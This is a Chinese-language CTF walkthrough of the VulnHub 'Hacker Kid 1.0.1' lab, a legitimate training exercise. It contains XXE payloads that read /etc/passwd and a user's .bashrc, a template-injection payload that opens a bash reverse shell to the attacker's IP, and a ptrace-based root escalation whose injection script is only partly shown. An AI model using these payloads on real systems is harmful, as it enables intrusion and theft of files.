HACKER KID: 1.0.1实战演练
一、前期准备
1、相关信息
靶机网站：https://www.vulnhub.com/entry/hacker-kid-101,719/
| 设备名称 | IP地址 |
|---|---|
| 攻击机：kali | 192.168.0.109 |
| 靶机：Hacker kid: 1.0.1 | 192.168.0.103 |
二、信息收集
1、端口扫描
┌──(kali㉿kali)-[~]
└─$ nmap -A 192.168.0.103
//开放DNS:53端口、WEB:80端口、9999端口
//DNS:53端口版本号ISC BIND 9.16.1
//WEB:80端口中间件为Apache-httpd 2.4.41
//MySQL:3306端口版本号为Tornado httpd 6.1
2、访问网站
http://192.168.0.103/
翻译为：
你给我起了一个“臭名昭著的黑客”的名字！！就因为我黑了你的整个服务器。
现在我可以访问你的整个服务器了。如果你足够聪明，可以取回它，就给我看看。
“你越挖我，你就会在你的服务器上找到我。挖我…挖我更多”
http://192.168.0.103/index.html
//无法访问，返回404
http://192.168.0.103/#app.html
//发现出现一个#符号，页面没有变化
http://192.168.0.103/app.html
//功能没法使用
http://192.168.0.103/#form.html
//发现出现一个#符号，页面没有变化
http://192.168.0.103/form.html
3、扫描目录
┌──(kali㉿kali)-[~]
└─$ sudo dirsearch -u http://192.168.0.103
4、查看源码
view-source:http://192.168.0.103/index.php
//使用GET提交page_no请求新的页面
5、请求参数
http://192.168.0.103/index.php?page_no=1
//有回显，批量测试
6、burpsuite批量请求
//原文为：
Okay so you want me to speak something ?
I am a hacker kid not a dumb hacker. So i created some subdomains to return back on the server whenever i want!!
Out of my many homes...one such home..one such home for me : hackers.blackhat.local
//翻译为：
好吧，你想让我说点什么？
我是一个黑客孩子，而不是一个愚蠢的黑客。所以我创建了一些子域，以便随时返回服务器！！
在我的许多家里。。。一个这样的家。。对我来说就是这样一个家：hackers.blackhat.local
7、编辑hosts文件
┌──(kali㉿kali)-[~]
└─$ sudo vim /etc/hosts
//添加192.168.0.103 hackers.blackhat.local
8、DNS区域传输
┌──(kali㉿kali)-[~]
└─$ dig axfr @192.168.0.103 blackhat.local
9、编辑hosts
┌──(kali㉿kali)-[~]
└─$ sudo vim /etc/hosts
10、访问网站
http://hackerkid.blackhat.local/
//发现一个注册界面
11、注册账号
//提示邮箱错误
12、burpsuite抓包
//发现是XML传输数据的
13、XML注入
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
<root>
<name>kali</name>
<tel>13911111111</tel>
<email>&xxe;</email>
<password>123456</password>
</root>
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/home/saket/.bashrc" >]>
<root>
<name>kali</name>
<tel>13911111111</tel>
<email>&xxe;</email>
<password>123456</password>
</root>
14、解密
//账号：admin
//密码：Saket!#$%@!!
15、登录网站的9999端口
http://192.168.0.103:9999/login?next=%2F
//账号：saket，密码：Saket!#$%@!!
//原文为：
Tell me your name buddy
How can i get to know who are you ??
//翻译为：
告诉我你的名字，伙计
我怎么才能知道你是谁？？
16、提交参数
//编码前：
{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.0.109/4444 0>&1"')}}
//编码后：
%7B%25%20import%20os%20%25%7D%7B%7Bos.system('bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.109%2F4444%200%3E%261%22')%7D%7D
17、监听
┌──(kali㉿kali)-[~]
└─$ nc -nvlp 4444
三、提权
1、查找具有Capabilities特殊操作权限的程序
saket@ubuntu:~$ /usr/sbin/getcap -r / 2>/dev/null
2、创建源码文件

print("Final Instruction Pointer: " + hex(registers.rip))
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)
3、开机本地开启http服务
┌──(kali㉿kali)-[~]
└─$ python -m http.server 8080
4、下载脚本
saket@ubuntu:~$ wget http://192.168.0.109:8080/inject.py
5、查看以root运行的进程
saket@ubuntu:~$ ps -aef | grep root
6、执行脚本
saket@ubuntu:~$ python2.7 inject.py 670
7、查看端口是否开放
saket@ubuntu:~$ netstat -ano | grep 5600
//如果端口没打开，可以重新选择进程号
8、连接端口
┌──(kali㉿kali)-[~]
└─$ nc 192.168.0.103 5600
